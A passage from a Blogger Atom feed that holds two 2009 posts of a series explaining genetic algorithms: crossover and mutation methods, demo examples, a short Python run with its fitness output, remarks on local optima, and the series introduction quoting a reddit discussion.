/&gt;&lt;tt&gt;1111 1111 1111 0000 0000 0000&lt;br /&gt;1111 1111 1111 1111 1111 1111&lt;br /&gt;&lt;br /&gt;Creates two children:&lt;br /&gt;&lt;br /&gt;1111 1111 1111 0010 1101 0100&lt;br /&gt;1111 1111 1111 1101 0010 1011&lt;/tt&gt;&lt;br /&gt;&lt;br /&gt;It works as such: every bit has a 0.5% chance of swapping. Of course, if both parents have a bit 0 or 1, it stays 0 or 1.&lt;br /&gt;&lt;br /&gt;HUX (Half Uniform Crossover) (5) swaps exactly half of the non-matching bits. So pick N/2 bits out of N non-matching bits, and swap them.&lt;br /&gt;&lt;br /&gt;In our reference article, a single fixed crossover point is used, placed in the middle.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Mutation&lt;/span&gt;&lt;br /&gt;Now that that's out of the way, there is only one aspect to look at: mutation. This phase makes sure that there is enough randomness and diversity in the population. Again, there are different options.&lt;br /&gt;&lt;br /&gt;First (1) of all: no mutation. For example when their is enough diversity by using smart selection and crossover methods, or when the optimization problem is as such that there are no local maxima (more about that a bit later).&lt;br /&gt;&lt;br /&gt;A second (2) method: take N individuals out of our population, and change each of their bits/values with a P chance. Often: N is equal to the complete population size, with P a very small value. Or:&lt;br /&gt;&lt;br /&gt;(3) Take N individuals, pick K bits/values in every individual, and change those bits/values. Again: N is often equal to the complete population, and K also low (one for example). This is the method used in the article.&lt;br /&gt;&lt;br /&gt;Sometimes, also the following additional (4) method is used: create offspring equal to (P-N), with P being to population size and 0&amp;lt;=N&amp;lt;=P, then add N random individuals. When this method is used, often values like N=P/5 to P/10 are used.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;In Action&lt;/span&gt;&lt;br /&gt;That's it, we're done! Let's see a few action examples of genetic algorithms.&lt;br /&gt;&lt;br /&gt;A problem involves: given a constrained plane and a few randomly placed circles, how can we place another circle so that the radius is maximal, without overlapping the other circles. You can download and try it for yourself &lt;a href="http://www.ai-junkie.com/ga/intro/gat3.html"&gt;here&lt;/a&gt; (all sites are also mentioned at the end of this post).&lt;br /&gt;&lt;br /&gt;Before the evolution starts, the situation looks like this:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_X4W-h82Vgjw/SWOn-_SkIDI/AAAAAAAAPG4/qKUsRGJ8JeA/s1600-h/01.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_X4W-h82Vgjw/SWOn-_SkIDI/AAAAAAAAPG4/qKUsRGJ8JeA/s320/01.gif" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;After only 61 generations, we are coming close to the optimum:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_X4W-h82Vgjw/SWOoG4bq8AI/AAAAAAAAPHA/1f1lDLROUEg/s1600-h/02.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_X4W-h82Vgjw/SWOoG4bq8AI/AAAAAAAAPHA/1f1lDLROUEg/s320/02.gif" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Another really cool example can be found &lt;a href="http://rogeralsing.com/2008/12/07/genetic-programming-evolution-of-mona-lisa/"&gt;here&lt;/a&gt;. Be sure to download the binary and test it for yourself:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_X4W-h82Vgjw/SWPcyd3WC2I/AAAAAAAAPH4/JGot2JWWm-g/s1600-h/gvec.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_X4W-h82Vgjw/SWPcyd3WC2I/AAAAAAAAPH4/JGot2JWWm-g/s400/gvec.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.obitko.com/tutorials/genetic-algorithms/tsp-example.php"&gt;This site&lt;/a&gt; implements a Travelling Salesman Solver with a GA Java applet:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_X4W-h82Vgjw/SWOo9-QmSyI/AAAAAAAAPHI/D3mW7iUNf4g/s1600-h/05.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_X4W-h82Vgjw/SWOo9-QmSyI/AAAAAAAAPHI/D3mW7iUNf4g/s400/05.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Finally, using the code from the article:&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;import sys&lt;br /&gt;&amp;nbsp;&amp;nbsp;sys.path.append("C:\Users\Seppe\Desktop")&lt;br /&gt;&amp;nbsp;&amp;nbsp;from genetic import *&lt;br /&gt;&amp;nbsp;&amp;nbsp;target = 300&lt;br /&gt;&amp;nbsp;&amp;nbsp;p_count = 100&lt;br /&gt;&amp;nbsp;&amp;nbsp;i_length = 5&lt;br /&gt;&amp;nbsp;&amp;nbsp;i_min = 0&lt;br /&gt;&amp;nbsp;&amp;nbsp;i_max = 100&lt;br /&gt;&amp;nbsp;&amp;nbsp;p = population(p_count, i_length, i_min, i_max)&lt;br /&gt;&amp;nbsp;&amp;nbsp;fitness_history = [grade(p, target),]&lt;br /&gt;&amp;nbsp;&amp;nbsp;for i in xrange(100):&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;p = evolve(p, target)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fitness_history.append(grade(p, target))&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;for datum in fitness_history:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print datum&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;Outputs:&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;66.51&lt;br /&gt;28.84&lt;br /&gt;19.41&lt;br /&gt;18.66&lt;br /&gt;11.97&lt;br /&gt;13.26&lt;br /&gt;5.41&lt;br /&gt;1.15&lt;br /&gt;1.5&lt;br /&gt;1.55&lt;br /&gt;2.9&lt;br /&gt;3.0&lt;br /&gt;0.3&lt;br /&gt;0.0&lt;br /&gt;0.0&lt;br /&gt;0.0&lt;br /&gt;...&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;After 14 evolutions we already see a perfect population, not bad... Do note however that this is an extremely easy problem: there are many optimum solutions.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Remarks and Problems&lt;/span&gt;&lt;br /&gt;Genetic Algorithms are not perfect, nor are they a silver bullet. When badly configured, genetic algorithms tend to expose the same flaws as stochastic hill climbing indeed: a tendency to converge towards local optima.&lt;br /&gt;&lt;br /&gt;Consider the following function:&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_X4W-h82Vgjw/SWOrqZn003I/AAAAAAAAPHQ/P20H9RxbaL8/s1600-h/f01.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_X4W-h82Vgjw/SWOrqZn003I/AAAAAAAAPHQ/P20H9RxbaL8/s200/f01.gif" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;It's not hard to construct a GA which will tend toward the global maximum, even without mutation or introducing much diversity. Consider the following animation, with the green dots representing a few individuals:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_X4W-h82Vgjw/SWOvO1_uUEI/AAAAAAAAPHY/t6tvdavb744/s1600-h/ff.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_X4W-h82Vgjw/SWOvO1_uUEI/AAAAAAAAPHY/t6tvdavb744/s320/ff.gif" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;However, when you consider the following function:&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_X4W-h82Vgjw/SWOwd90hKcI/AAAAAAAAPHg/GJQMWF2JPFY/s1600-h/f10.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_X4W-h82Vgjw/SWOwd90hKcI/AAAAAAAAPHg/GJQMWF2JPFY/s200/f10.gif" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;We might get lucky and end up with:&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_X4W-h82Vgjw/SWOw7oKYU9I/AAAAAAAAPHo/Gx0o65Zs82c/s1600-h/f1.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_X4W-h82Vgjw/SWOw7oKYU9I/AAAAAAAAPHo/Gx0o65Zs82c/s200/f1.gif" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Notice that there is one individual tending towards the local maximum, but the others "pull" it towards the global one. However, the following could also happen:&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_X4W-h82Vgjw/SWOx4Te88-I/AAAAAAAAPHw/GU7nPQ23C_g/s1600-h/f2.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_X4W-h82Vgjw/SWOx4Te88-I/AAAAAAAAPHw/GU7nPQ23C_g/s200/f2.gif" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;To prevent these situations from happening, we have various options at our disposal:&lt;br /&gt;(1) Choose sensible parameters. Population count, selection- crossover- and mutation-methods. Try to find a balance between enough diversity and fast convergence.&lt;br /&gt;(2) Run the GA multiple times, take the best solution.&lt;br /&gt;(3) If the population converges towards a certain solution, randomly regenerate the N worst members of the population and continue evolution (a similar technique could be used in the mutation stage).&lt;br /&gt;(4) Use parallel solutions. A parallel genetic algorithm executes multiple populations at once, often on many computers (or a cluster). Often, there is an extra &lt;span style="font-weight: bold;"&gt;migration&lt;/span&gt; stage added, in which individuals migrate from one population to another.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Sources&lt;/span&gt;&lt;br /&gt;Wow, what a lot of text! If you're interested in knowing more, check the following links:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://lethain.com/entry/2009/jan/02/genetic-algorithms-cool-name-damn-simple/"&gt;The original article&lt;/a&gt; which inspired this text.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Wikipedia also has lots of information: &lt;a href="http://en.wikipedia.org/wiki/Genetic_algorithm"&gt;Genetic algorithms&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/Selection_%28genetic_algorithm%29"&gt;Selection&lt;/a&gt; (&lt;a href="http://en.wikipedia.org/wiki/Fitness_proportionate_selection"&gt;Roulette&lt;/a&gt; and &lt;a href="http://en.wikipedia.org/wiki/Tournament_selection"&gt;Tournament&lt;/a&gt;), &lt;a href="http://en.wikipedia.org/wiki/Crossover_%28genetic_algorithm%29"&gt;Crossover&lt;/a&gt; and &lt;a href="http://en.wikipedia.org/wiki/Mutation_%28genetic_algorithm%29"&gt;Mutation&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;An &lt;a href="http://www.ai-junkie.com/ga/intro/gat1.html"&gt;old tutorial on ai-junkie&lt;/a&gt; (but still useful). Back in the day, this was the first thing I read about genetic algorithms.&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.obitko.com/tutorials/genetic-algorithms/index.php"&gt;Another old website&lt;/a&gt;, made by Marek Obitko, still, the information contained is relevant and interesting. Also hosts the TSP Java applet.&lt;/li&gt;&lt;li&gt;&lt;a href="http://web.cecs.pdx.edu/~mperkows/temp/JULY8/"&gt;This opendir&lt;/a&gt; contains university slides about emerging computing technologies&lt;span style="font-family: inherit;"&gt;&lt;span style="font-size: medium;"&gt;. &lt;/span&gt;&lt;/span&gt;&lt;span style="white-space: pre;"&gt;&lt;a href="http://web.cecs.pdx.edu/~mperkows/temp/JULY8/A032.Evolutionary-Algorithms-2.pdf"&gt;&lt;span style="font-family: inherit;"&gt;&lt;span style="font-size: medium;"&gt;A032&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family: inherit;"&gt;&lt;span style="font-size: medium;"&gt; talks about genetic algorithms. The slides are ugly as hell, but contain some good information! (There is a part about CHC Eshelman, which we will discuss in the next part in this series).&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="white-space: pre;"&gt;&lt;a href="http://soar.snu.ac.kr/~yhdfly/presentation/MKCP.pps"&gt;This Powerpoint file&lt;/a&gt; contains some information about CHC Eshelman as well. The file is not that interesting, but does contain a good example on crossover feasibility: sometimes our individuals are encoded as such that they can become invalid after each crossover. We must then "normalize" or correct parents or children to produce valid offspring. We mentioned this problem in the above post.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="white-space: pre;"&gt;Evolution of Mona Lisa, check &lt;a href="http://rogeralsing.com/2008/12/07/genetic-programming-evolution-of-mona-lisa/"&gt;this&lt;/a&gt;!&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;There are a lot of software implementations around for genetic algorithms, most of them are written in C, C++ or FORTRAN77, but recently languages such as Java and Python are becoming more popular.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.cisl.ucar.edu/css/staff/travis/mpikaia/"&gt;MPIKAIA - Parallel Genetic Algorithm&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www-fp.mcs.anl.gov/CCST/research/reports_pre1998/comp_bio/stalk/pgapack.html"&gt;PGAPack Parallel Genetic Algorithm Library&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;Check Wikipedia's &lt;a href="http://en.wikipedia.org/wiki/Genetic_algorithm#External_links"&gt;External links&lt;/a&gt; for more tutorials and software libraries.&lt;br /&gt;&lt;br /&gt;In the next section: we will explore a particular GA implementation: CHC by Eshelman.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;-----&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-weight: bold;"&gt;Table Of Contents&lt;/span&gt;&amp;nbsp;(click a link to jump to that post)&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;1.&amp;nbsp;&lt;a href="http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms.html"&gt;Introduction&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;2.&amp;nbsp;&lt;a href="http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms_06.html"&gt;Genetic Algorithms&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;3.&amp;nbsp;&lt;a href="http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms_237.html"&gt;CHC Eshelman&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;4.&amp;nbsp;&lt;a href="http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms_4050.html"&gt;Simulated Annealing&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;5.&amp;nbsp;&lt;a href="http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms_22.html"&gt;Ant Colony Optimization&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;6.&amp;nbsp;&lt;a href="http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms_07.html"&gt;Tabu Search&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;7.&amp;nbsp;&lt;a href="http://blog.macuyiko.com/2009/02/modern-genetic-and-other-algorithms.html"&gt;Conclusion&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21390211-6560923442642534659?l=blog.macuyiko.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.macuyiko.com/feeds/6560923442642534659/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms_06.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/6560923442642534659'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/6560923442642534659'/><link rel='alternate' type='text/html' href='http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms_06.html' title='Modern Genetic (And Other) Algorithms Explained: Part 2 - Genetic Algorithms'/><author><name>Seppe vanden Broucke</name><uri>https://profiles.google.com/109801607284916240262</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-jv7ZgBEveU8/AAAAAAAAAAI/AAAAAAAASKg/_AAsrCl73m0/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_X4W-h82Vgjw/SWOn-_SkIDI/AAAAAAAAPG4/qKUsRGJ8JeA/s72-c/01.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-21390211.post-2159997543089665265</id><published>2009-01-07T16:49:00.003+01:00</published><updated>2009-02-05T18:26:03.968+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='modern'/><category scheme='http://www.blogger.com/atom/ns#' term='algorithms'/><category scheme='http://www.blogger.com/atom/ns#' term='series'/><category scheme='http://www.blogger.com/atom/ns#' term='genetic'/><title type='text'>Modern Genetic (And Other) Algorithms Explained: Part 1 - Introduction</title><content type='html'>&lt;span style="font-family: inherit;"&gt;A few days ago I saw &lt;/span&gt;&lt;a href="http://www.reddit.com/r/programming/comments/7n1zl/genetic_algorithms_cool_name_amp_damn_simple_best/"&gt;&lt;span style="font-family: inherit;"&gt;this on reddit&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family: inherit;"&gt;, linking to a &lt;/span&gt;&lt;a href="http://lethain.com/entry/2009/jan/02/genetic-algorithms-cool-name-damn-simple/"&gt;&lt;span style="font-family: inherit;"&gt;well-written article&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family: inherit;"&gt; about genetic algorithms (GA):&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Genetic algorithms are a mysterious sounding technique in mysterious sounding field--artificial intelligence. This is the problem with naming things appropriately. When the field was labeled artificial intelligence, it meant using mathematics to artificially create the semblance of intelligence, but self-engrandizing researchers and Isaac Asimov redefined it as robots.&lt;/blockquote&gt;&lt;blockquote&gt;The name genetic algorithms does sound complex and has a faintly magical ring to it, but it turns out that they are one of the simplest and most-intuitive concepts you'll encounter in A.I.&lt;/blockquote&gt;&lt;blockquote&gt;&lt;/blockquote&gt;&lt;span style="font-family: inherit;"&gt;If you're interested in GA's or modern optimization techniques in general, I strongly suggest you read it. The sample code in Python is fairly easy to read, even if you've never programmed in Python. On the reddit comment section, the following discussion was then started:&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;The nice thing about GAs is that they are so simple. [...] As soon as you step out of the specialized GA literature and into other fields where the authors just happen to choose a GA for their problem, it's more likely than not that they've chosen a poor implementation.&lt;/blockquote&gt;&lt;blockquote&gt;The problems that simple GAs work pretty well on tend to be the same as those that a simple hill climber would demolish the GA on. As soon as the problems get hard, the GA converges way too quickly to suboptimal solutions. [...]&lt;/blockquote&gt;&lt;blockquote&gt;Part of the problem is the GA community itself. For years, GAs were touted as "global optimizers". We haven't talked like that for several years now, but I still see references to people who seem to think that solving a problem is as simple as just throwing a GA at it.&lt;/blockquote&gt;Followed by a response:&lt;br /&gt;&lt;blockquote&gt;Back in the look-ma-no-hands-period of AI, GAs converged too rapidly because they weren't tuned right: they used too much selection, too little mutation or other exploration mechanisms, too small of a population, etc. Since the field was unified with other evolutionary computation techniques in the early '90s, I don't think premature convergence has been a major impediment for almost 20 years now. Evolutionary computation techniques are pretty much the best available methods for much of stochastic search (and yes, I'm looking at you, simulated annealing). They're highly parallelizable, have good theory, and are representation-independent. Recent versions of them (notably ant colony optimization) are the gold standard for certain major tasks (like stochastic combinatorics problems).&lt;/blockquote&gt;&lt;blockquote&gt;As to tabu search: now there is a technique which has some real pathologies. Perhaps this wasn't the best example you could have chosen.&lt;/blockquote&gt;Interesting... I recommend reading the full discussion at the reddit page.&lt;br /&gt;&lt;br /&gt;Since I've always been interested in genetic and other modern optimization techniques, I wanted to a little research. In this series of posts, I will try to explain:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Genetic Algorithms&lt;/li&gt;&lt;li&gt;A more specialized GA: CHC. Eshelman's algorithms, as mentioned in the reddit comments.&lt;/li&gt;&lt;li&gt;Simulated Annealing&lt;/li&gt;&lt;li&gt;Ant Colony Optimization&lt;/li&gt;&lt;li&gt;And: a comparison with Tabu search&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;I will mention pseudocode in each of the posts, and will also edit the original Python to use it with the other techniques.&lt;br /&gt;&lt;br /&gt;First a &lt;span style="font-weight: bold;"&gt;disclaimer &lt;/span&gt;though: I'm not an expert, I'm not a specialized GA-programmer, neither a mathematician. Also: I'm fairly new at Python, but I thought this would be a good opportunity to toy around with some code, so please excuse my possibly poor programming. Still, that being said, I try my best to provide valid information and real results.&lt;br /&gt;&lt;br /&gt;In part 2 I will discuss (general) Genetic Algorithms.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;-----&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-weight: bold;"&gt;Table Of Contents&lt;/span&gt;&amp;nbsp;(click a link to jump to that post)&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;1.&amp;nbsp;&lt;a href="http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms.html"&gt;Introduction&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;2.&amp;nbsp;&lt;a href="http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms_06.html"&gt;Genetic Algorithms&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;3.&amp;nbsp;&lt;a href="http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms_237.html"&gt;CHC Eshelman&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;4.&amp;nbsp;&lt;a href="http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms_4050.html"&gt;Simulated Annealing&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;5.&amp;nbsp;&lt;a href="http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms_22.html"&gt;Ant Colony Optimization&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;6.&amp;nbsp;&lt;a href="http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms_07.html"&gt;Tabu Search&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;7. &lt;a href="http://blog.macuyiko.com/2009/02/modern-genetic-and-other-algorithms.html"&gt;Conclusion&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21390211-2159997543089665265?l=blog.macuyiko.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.macuyiko.com/feeds/2159997543089665265/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/2159997543089665265'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/2159997543089665265'/><link rel='alternate' type='text/html' href='http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms.html' title='Modern Genetic (And Other) Algorithms Explained: Part 1 - Introduction'/><author><name>Seppe vanden Broucke</name><uri>https://profiles.google.com/109801607284916240262</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' 